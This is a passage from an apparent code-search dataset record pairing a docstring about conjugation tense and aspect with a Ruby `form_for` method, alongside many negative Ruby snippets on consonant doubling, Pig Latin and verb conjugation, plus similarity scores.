results << char * 2 \n else\n results << char\n end\n end\n results\nend", "def double_consonants(str)\n str.chars.each_with_object('') do |char, new_str|\n if char =~ /[^aeiou]/ && char =~ /[A-z]/\n new_str << char * 2\n else\n new_str << char\n end\n end\nend", "def double_consonants(string)\n string.chars.inject('') do |str, char|\n char.downcase.count(\"a-z\", \"^aeiou\") > 0 ? str + char * 2 : str + char\n end\nend", "def double_consonants(string)\n output = \"\"\n single_chars = string.chars\n single_chars.each do |char|\n if char.match(/[[a-z]&&[^aeiou]]/i)\n output << char * 2\n else\n output << char \n end\n end\n output\nend", "def double_consonants(str)\n str.split(//).map { |chr| chr.match?(/[^aeiou\\d\\W]/i) ? chr + chr : chr }.join\nend", "def double_consonants(string)\n consonants = %(bcdfghjklmnpqrstvwxyz)\n string.chars.map{ |char| consonants.include?(char.downcase)? char * 2 : char}.join\nend", "def double_consonants(string)\n final = string.chars.map do |el|\n if %w[a e i o u].include?(el)\n el\n elsif ('a'..'z').include?(el.downcase)\n el * 2\n else\n el\n end\n end\n final.join\nend", "def double_consonants(string)\n new_string = ''\n string.each_char do |char|\n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n new_string << char << char\n else\n new_string << char\n end\n end\n new_string\nend", "def double_consonants(str)\nnew_str = \"\"\n\nstr.each_char do |char|\n\tif /[aeiou\\W\\d\\s]/ =~ char \n\t\tnew_str << char\n\telse\n\t\tnew_str << char << char\n\tend\nend\nnew_str\nend", "def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend", "def conjugate(infinitive, options = {})\n infinitive = infinitive.dup if infinitive.is_a?(String)\n\n # set all options according to parameter, or the default\n tense = options[:tense] || :present # present, past, future\n person = options[:person] || :third # first, second, third\n plurality = options[:plurality] || :singular # singular, plural\n diathesis = options[:diathesis] || :active # active, passive\n mood = options[:mood] || :indicative # imperative, subjunctive\n aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective\n\n check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities\n form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect\n\n # map form array to conjugation array, applying infinitive and options to the array\n conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip\n\n if options[:subject] # When options includes a subject,\n actor = options.delete(:subject) # remove from options and make subject humanized\n actor = subject(options).humanize if actor.is_a?(TrueClass)\n end\n\n \"#{actor} #{conjugation}\".strip\n end", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def double_consonants(string)\n result_string = ''\n string.each_char do |letter|\n (letter =~ /[b-df-hj-np-tv-z]/i) == 0 ? result_string << letter << letter : result_string << letter\n end\n result_string\nend", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def double_consonants(str)\n repeater_chars = str.chars.map do |char| \n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n char * 2\n else\n char\n end\n end\n repeater_chars.join\nend", "def double_consonants(string)\n result_string = ''\n string.each_char do |char|\n if char =~ /[a-z&&[^aeiou]]/i\n result_string << char << char\n else\n result_string << char\n end\n end\n result_string\nend", "def double_consonants(string)\n double_con_string = []\n string.chars.each do |char|\n if char.match?(/[aeiouAEIOU]/)\n double_con_string << char\n elsif char.match?(/[a-zA-Z]/)\n double_con_string << char << char\n else\n double_con_string << char\n end\n end\n double_con_string.join\nend", "def double_consonants(str)\n str.gsub(/([bcdfghjklmnpqrstvwxyz])/i, '\\1\\1')\nend", "def double_consonants(string)\n result = ''\n string.chars.each do |char|\n result += char\n result += char if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n end\n result\nend", "def noun; end", "def noun; end", "def double_consonants(string)\n result = string.split(//).map do |char|\n char =~ /[b-df-hj-np-tv-z]/i ? char * 2 : char\n end\n result.join\nend", "def simplification_rules_for_conjunction\n if is_formula_and_formula?\n copy @left_sentence\n update\n elsif is_formula_and_not_formula?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n elsif is_formula_and_up?\n if @left_sentence.is_constant?\n copy @right_sentence\n else\n copy @left_sentence\n end\n update\n elsif is_formula_and_bottom?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:bottom])\n end\n end", "def consonants(text)\n percent = text.consonants.length / text.length.to_f\n percent * @emphasis[:consonants]\n end", "def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def consonant_changer(name)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n name.map! do |chars|\n counter = 0\n while counter < consonant_guide.length\n if chars == consonant_guide[counter]\n chars = consonant_guide[counter += 1]\n counter += 1\n elsif chars == \"z\"\n chars = \"b\"\n counter += 1\n else\n chars\n counter += 1\n end\n end\n chars\n end\n name\n name.join('').capitalize!\nend", "def consonant_rep(array_of_char)\n array_of_char.map! do | char |\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n if consonants.include? char\n consonant_index = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'b']\n i = consonant_index.index(char) + 1\n char = consonant_index[i] \n else char = char\n end\n end\n array_of_char\nend", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def double_consonants(string)\n result = []\n string.each_char do |char|\n result << char_value(char)\n end\n p result.join\nend", "def regular_ending(verb)\n verb[-2..-1]\n end", "def double_consonants(string)\n chars_array = string.chars.map do |x|\n if x =~ /[^AEIOUaeiou0-9\\W]/\n x*2\n else\n x\n end\n end\n \n chars_array.join\nend", "def double_consonants(string)\n string.chars.map { |chr| chr.match(/[bcdfghj-np-tvwxyz]/i) ? chr * 2 : chr }.join\nend", "def double_consonants(string)\n results = []\n\n string.chars.each do |char|\n if char =~ /[\"AEIOUaeiou\"]/ || \n char =~ /\\W/ ||\n char =~ /\\d/\n results << char\n else\n results << char << char\n end\n end\n\n results.join\nend", "def ingverb; end", "def simplification_rules_for_negation\n if is_double_negation?\n copy @right_sentence.right_sentence\n update\n elsif is_not_bottom?\n update(Constant::VALUES[:up])\n elsif is_not_up?\n update(Constant::VALUES[:bottom])\n end\n end", "def next_consonant (consonant)\n consonant_downcase = consonant.downcase\n index = CONSONANTS.index(consonant_downcase)\n\n # handle edge case for letter 'z'\n if consonant_downcase == \"z\"\n next_consonant = CONSONANTS[0]\n else\n next_consonant = CONSONANTS[index + 1]\n end\n #Capitalize next letter if the original letter is upper case\n next_consonant = capitalize(consonant, next_consonant)\nend", "def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end", "def vowel_consonant_adv(str)\r\n \t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n \t\tstr = str.split('')\r\n \t\tstr_new = str.map do |letter|\r\n if vowels.include?(letter)\r\n \tvowels.rotate(1)[vowels.index(letter)]\r\n else\r\n \tletter.next\r\n end\r\n \tend\r\n \t\tstr_new.join\r\n\tend", "def simplification_rules_for_disjunction\n if is_formula_or_formula?\n copy @left_sentence\n update\n elsif is_formula_or_not_formula?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:up])\n elsif is_formula_or_up?\n @left_sentence, @right_sentence, @operator = nil,nil,nil\n update(Constant::VALUES[:up])\n elsif is_formula_or_bottom?\n if @left_sentence.is_constant?\n copy @right_sentence\n else\n copy @left_sentence\n end\n update\n end\n end", "def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "def vowel_or_consonant\n puts \"What is your first name?\"\n #request first name\n first_name = gets.chomp.downcase\n #save user input, remove capitalization\n puts \"What is your last name?\"\n #request for users last name\n last_name = gets.chomp.downcase\n #save user input, remove capitalization\n #method to check for letter type\n vowels_first = first_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n #check first name for vowels, replaces with next vowel\n vowels_last = last_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n consonant_first = vowels_first.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n consonant_last = vowels_last.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n spy_name = \"#{consonant_last.capitalize} #{consonant_first.capitalize}\"\n #declares spy name\n puts \"The name #{first_name.capitalize} #{last_name.capitalize} turns into #{spy_name}\"\n #displays product of method\nend", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def count_consonants(str)\n str.chars.map do |letter|\n if consonant? letter\n letter = 1\n else\n letter = 0\n end\n end.reduce(0, :+)\nend", "def new_simplification_rules_for_conjunction\n end", "def translateForOneWord(msg)\n aryChar = msg.split(\"\")\n if aryChar[0].match(/a|e|i|o|u/)\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && aryChar[1] == \"q\" && aryChar[2] == \"u\" # consonant + q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif aryChar[0] == \"q\" && aryChar[1] == \"u\" # q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) && (not aryChar[2].match(/a|e|i|o|u/)) # if 3 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) #if it starts with 2 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n\n elsif not aryChar[0].match(/a|e|i|o|u/)\n aryChar << aryChar[0]\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n end\n aryChar.join(\"\")\nend", "def http_with_tingyun( verb )\n self._ty_http_verb = verb.to_s.upcase\n http_without_tingyun( verb )\n end", "def consonant_changer(letter)\r\n\tif letter == \"z\"\r\n\t\tnew_letter = \"b\"\r\n\telsif letter == \" \"\r\n\t \tnew_letter = \" \"\r\n\telse\r\n\t\tconsonant_index = \"bcdfghjklmnpqrstvwxyz\".index(letter)\r\n \tnew_letter =\"bcdfghjklmnpqrstvwxyz\"[consonant_index.next]\r\n\tend\r\nend", "def consonant_checker(array)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n array.map! do |name|\n name_split = name.split('')\n name_split.map! do |char|\n index = 0\n while index < consonant_guide.length\n if char == consonant_guide[index]\n char = consonant_guide[index += 1]\n index += 1\n elsif char == \"z\"\n char = \"b\"\n index += 1\n else\n char\n index += 1\n end\n char\n end\n char\n end\n name_split\n name_join = name_split.join('').capitalize!\n name_join\n end\n p array\nend", "def next_consonant(product)\n spot = 0 \n consonants = \"bcdfghjklmnpqrstvwxyz\"\n while spot < product.length\n if product[spot] == \"z\"\n product[spot] = \"b\"\n elsif consonants.split('').include?(product[spot])\n next_spot = consonants.index(product[spot]) + 1 \n product[spot] = consonants[next_spot]\n end\n spot += 1 \n end\n product\nend", "def consonant_changer(name)\n consonant_string = \"bcdfghjklmnpqrstvwxyz\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"z\"\n character = \"b\"\n new_name << character\n elsif consonant_string.include? character\n character = consonant_string[consonant_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n p new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend", "def stem_porter\n\n # make a copy of the given object and convert it to a string.\n w = self.dup.to_str\n \n return w if w.length < 3\n \n # now map initial y to Y so that the patterns never treat it as vowel\n w[0] = 'Y' if w[0] == ?y\n \n # Step 1a\n if w =~ /(ss|i)es$/\n w = $` + $1\n elsif w =~ /([^s])s$/ \n w = $` + $1\n end\n\n # Step 1b\n if w =~ /eed$/\n w.chop! if $` =~ MGR0 \n elsif w =~ /(ed|ing)$/\n stem = $`\n if stem =~ VOWEL_IN_STEM \n w = stem\n\tcase w\n when /(at|bl|iz)$/ then w << \"e\"\n when /([^aeiouylsz])\\1$/ then w.chop!\n when /^#{CC}#{V}[^aeiouwxy]$/o then w << \"e\"\n end\n end\n end\n\n if w =~ /y$/ \n stem = $`\n w = stem + \"i\" if stem =~ VOWEL_IN_STEM \n end\n\n # Step 2\n if w =~ SUFFIX_1_REGEXP\n stem = $`\n suffix = $1\n # print \"stem= \" + stem + \"\\n\" + \"suffix=\" + suffix + \"\\n\"\n if stem =~ MGR0\n w = stem + STEP_2_LIST[suffix]\n end\n end\n\n # Step 3\n if w =~ /(icate|ative|alize|iciti|ical|ful|ness)$/\n stem = $`\n suffix = $1\n if stem =~ MGR0\n w = stem + STEP_3_LIST[suffix]\n end\n end\n\n # Step 4\n if w =~ SUFFIX_2_REGEXP\n stem = $`\n if stem =~ MGR1\n w = stem\n end\n elsif w =~ /(s|t)(ion)$/\n stem = $` + $1\n if stem =~ MGR1\n w = stem\n end\n end\n\n # Step 5\n if w =~ /e$/ \n stem = $`\n if (stem =~ MGR1) ||\n (stem =~ MEQ1 && stem !~ /^#{CC}#{V}[^aeiouwxy]$/o)\n w = stem\n end\n end\n\n if w =~ /ll$/ && w =~ MGR1\n w.chop!\n end\n\n # and turn initial Y back to y\n w[0] = 'y' if w[0] == ?Y\n\n w\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def const_adv(str)\n consonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n str = str.split('')\n str_new = str.map do |char|\n if consonants.include?(char)\n consonants.rotate(1)[consonants.index(char)]\n else\n char\n end\n end\n str_new.join\nend", "def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end", "def indefinite_reflexive_pronoun\n return \"itself\"\n end", "def translate_three_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# then grab the third letter from the array\n\t\t\t\tthird_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + third_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend", "def next_consonant(char)\n char = char.downcase\n compare = \"bcdfghjklmnpqrstvwxyz\"\n\n # not a consonant, i.e., no instance of the variable\n if compare.count(char) == 0\n # puts \"Not a consonant\"\n return nil\n end\n\n consonant_index = compare.index(char)\n\n if consonant_index == compare.length - 1 # end edge case\n return 'b'\n else\n return compare[consonant_index + 1]\n end\nend", "def next_consonant(string)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding consonant and if so goes to the next consonant by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"z\", converts to \"b\"\n\t\tif string[index] == consonants[20]\n\t\t\tconverted_string += \"b\"\n\t\t#if the string has any consonant besides \"z\"\n\t\telsif string[index] == consonants[i]\n\t\t\tconverted_string += consonants[i+1]\n\t\t#if string has vowels doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend", "def consonant(letter)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n alphabet2 = alphabet.chars.rotate.join('')\n each_id = alphabet.index(letter.downcase)\n next_consonant = alphabet2[each_id]\n end", "def conj?\n words.any? { |wor| wor.pos == 'CONJ' }\n end", "def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend", "def dynamic_phrase_2\r\n # Verse 0: **no more bottles**\r\n if zero_bottles?\r\n \"no more #{bottle_s}\"\r\n else\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def consonant_advance(letter)\r\nconsonant = \"abcdefghijklmnopqrstuvwxyz\".delete(\"aeiou\")\r\n if letter == \"z\"\r\n letter = \"b\"\r\n else\r\n letter = consonant[consonant.index(letter) +1]\r\n end \r\nend", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end" ]
[ "0.6933846", "0.64425373", "0.64022726", "0.62513596", "0.614279", "0.60967696", "0.6093948", "0.59111714", "0.5892954", "0.5832512", "0.5821658", "0.5784825", "0.5760285", "0.5752394", "0.5713888", "0.57036954", "0.5686028", "0.5668624", "0.56383115", "0.5635191", "0.5632572", "0.55907774", "0.5565672", "0.55344933", "0.55244106", "0.5492658", "0.54894125", "0.548794", "0.5485857", "0.54615074", "0.54524684", "0.5404689", "0.5396932", "0.53679854", "0.5349082", "0.5348376", "0.5342807", "0.5332256", "0.5331878", "0.5322873", "0.53180385", "0.53178686", "0.5308993", "0.53060216", "0.52960277", "0.52842826", "0.5269068", "0.5269068", "0.526703", "0.5265732", "0.52554923", "0.5246438", "0.52266204", "0.5201873", "0.5167005", "0.51517045", "0.51517045", "0.51517045", "0.51517045", "0.51517045", "0.5141566", "0.5136059", "0.51061636", "0.50854903", "0.5060775", "0.506002", "0.5057857", "0.5037546", "0.50205", "0.4995167", "0.4990125", "0.49670115", "0.4962756", "0.49529842", "0.49503976", "0.49484187", "0.4947858", "0.4932872", "0.49301663", "0.49203482", "0.4886228", "0.48708364", "0.48683584", "0.48503584", "0.4847843", "0.48395592", "0.48266524", "0.48266524", "0.48109296", "0.48039448", "0.4795841", "0.47827348", "0.4775465", "0.47714567", "0.4771343", "0.47696966", "0.47676355", "0.47626048", "0.4760317", "0.4756501" ]
0.65740854
1
Add appropriate aspects to the tense of the conjugation Params: tense, an option given by the user aspect, an option given by the user diathesis, an option given by the user
def form_for(tense, aspect, diathesis) form = [] case diathesis when :active if tense == :future form << 'will' form << :infinitive if aspect == :habitual form.concat ['have', :past_participle] if aspect == :perfect form.concat ['be having', :past_participle] if aspect == :perfective form.concat ['be', :present_participle] if aspect == :progressive form.concat ['be about to', :infinitive] if aspect == :prospective else form.concat ['used to', :infinitive] if [tense, aspect] == %i[past habitual] form.concat %i[have past_participle] if aspect == :perfect form << :past if [tense, aspect] == %i[past perfective] form.concat %i[be present_participle] if aspect == :progressive form.concat [:be, 'about to', :infinitive] if aspect == :prospective form << :present if [tense, aspect] == %i[present habitual] form.concat [:be, 'having', :past_participle] if [tense, aspect] == %i[present perfective] end when :passive if tense == :future form << 'will' form.concat ['be', :past_participle] if aspect == :habitual form.concat ['have been', :past_participle] if aspect == :perfect form.concat ['be being', :past_participle] if aspect == :progressive form.concat ['be about to be', :past_participle] if aspect == :prospective else form.concat ['used to be', :past_participle] if [tense, aspect] == %i[past habitual] form.concat [:have, 'been', :past_participle] if aspect == :perfect form.concat %i[be past_participle] if [tense, aspect] == %i[past perfective] form.concat [:be, 'being', :past_participle] if aspect == :progressive form.concat [:be, 'about to be', :past_participle] if aspect == :prospective form.concat %i[be past_participle] if [tense, aspect] == %i[present habitual] end end form end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def aspects(context={})\n \n app = context[:app]\n \n aspects = []\n aspects << ::Plugins::Aspect.new(:comments, app.t.aspect.comments, ContentManagerSystem::FieldSet::Commentable, CommentAspectDelegate.new,\n [Plugins::AspectConfigurationAttribute.new(:publishing_workflow_id, 'workflow', 'standard'),\n Plugins::AspectConfigurationAttribute.new(:usergroups,'users','user,staff')])\n \n aspects << ::Plugins::Aspect.new(:translation, app.t.aspect.translate, Model::Translatable, CMSTranslationAspectDelegate.new)\n\n aspects << ::Plugins::Aspect.new(:content_place, app.t.aspect.content_place, ContentManagerSystem::FieldSet::ContentPlace, \n ContentPlaceAspectDelegate.new,\n [Plugins::AspectConfigurationAttribute.new(:type, 'content type')])\n \n return aspects\n \n end", "def passive_voice_subjunctive_mood_perfect_tense\n counter = -1\n TenseBlock.new(Linguistics::Latin::Verb::LatinVerb::PASS_PERF_SUBJUNCTIVE_ENDINGS.map do |ending|\n counter += 1\n (counter <=2 ?\n \"[ #{triplicate_and_genderize passive_perfect_participle} ]\" :\n \"[ #{pluralize_participial_listing(triplicate_and_genderize(passive_perfect_participle))} ]\" )+ \" \" + ending\n end,\n { :meaning => 